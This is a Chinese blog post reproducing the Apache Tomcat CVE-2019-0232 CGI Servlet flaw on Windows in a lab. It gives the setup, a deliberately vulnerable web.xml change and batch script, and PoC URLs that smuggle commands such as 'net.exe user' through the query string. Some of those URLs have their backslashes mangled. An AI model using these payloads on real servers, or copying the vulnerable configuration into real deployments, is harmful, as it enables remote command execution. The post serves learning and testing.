zoukankan      html  css  js  c++  java
  • CVE-2019-0232漏洞复现

    记录一个cve-2019-0232的漏洞环境搭建的任务

    1、相关信息

    2019年4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。
    
    触发该漏洞需要同时满足以下条件:
    1. 系统为Windows
    2. 启用了CGI Servlet(默认为关闭)
    3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)
    
    影响范围
    Apache Tomcat 9.0.0.M1 to 9.0.17
    Apache Tomcat 8.5.0 to 8.5.39
    Apache Tomcat 7.0.0 to 7.0.93
    

    2、漏洞复现

    我的复现环境:

    windows server 2008 R2
    
    apache Tomcat 8.5.23
    
    jdk 1.8
    

    jdk可以去官网下载,tomcat下载地址:https://archive.apache.org/dist/tomcat/ (最好下载bin目录里的文件)


    然后就是配置java环境变量,参考https://www.runoob.com/java/java-environment-setup.html

    解压配置tomcat,运行startup.bat,如果这里不能正确弹出命令行窗口显示服务器已运行,可能是java环境变量配置有问题,也可以在startup.bat最后加一个pause让命令行在最后不关闭,看一下是否有报错信息


    配置好之后,需要修改一些tomcat的配置:

    1)conf/web.xml 中启用CGIServlet和启用cgi的servlet-mapping
    注意这里可能有些版本里的cgiPathPrefix的值是WEB-INF/cgi,需要改一下为我们后面创建的WEB-INF/cgi-bin

    <servlet>
        <servlet-name>cgi</servlet-name>
        <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
        <init-param>
          <param-name>cgiPathPrefix</param-name>
          <param-value>WEB-INF/cgi-bin</param-value>
        </init-param>
        <init-param>
          <param-name>enableCmdLineArguments</param-name>
          <param-value>true</param-value>
        </init-param>
        <init-param>
          <param-name>executable</param-name>
          <param-value></param-value>
        </init-param>
        <load-on-startup>5</load-on-startup>
    </servlet>
    
    #将下面的语句的注释去掉
    <servlet-mapping>
        <servlet-name>cgi</servlet-name>
        <url-pattern>/cgi-bin/*</url-pattern>
    </servlet-mapping>
    

    2)之后修改 conf/context.xml 的添加 privileged="true"属性

    3)然后在 ROOTWEB-INF 下创建 cgi-bin 目录, 并在该目录下创建一个内容为 echo Content-type: text/html 的 .bat 文件。

    例:hello.bat
    @echo off
    echo Content-Type: text/plain
    echo.
    set foo=%~1
    %foo%
    

    3、漏洞利用

    Poc如下:

    http://localhost:8080/cgi-bin/hello.bat?&C%3AWindowsSystem32 et.exe+user

    http://localhost:8080/cgi-bin/hello.bat?&C%3AWindowsSystem32calc.exe

    (这里显示联通测速页面只是设计的一个例子)

    4、漏洞原理具体分析

    参考:https://xz.aliyun.com/t/4875

  • 相关阅读:
    java中Collections.sort() 排序函数的用法
    [SDOI2017]数字表格
    [SDOI2008]洞穴勘测
    How to copy a file from xp to linux?
    A java class
    Linux Mysql Charset utf8
    Linux environment variables
    get vars from url or request
    你在视网膜技术上太逊了,快来补充知识吧! java程序员
    Activity消息传递与消息回传模板 java程序员
  • 原文地址:https://www.cnblogs.com/zw1sh/p/13170863.html
Copyright © 2011-2022 走看看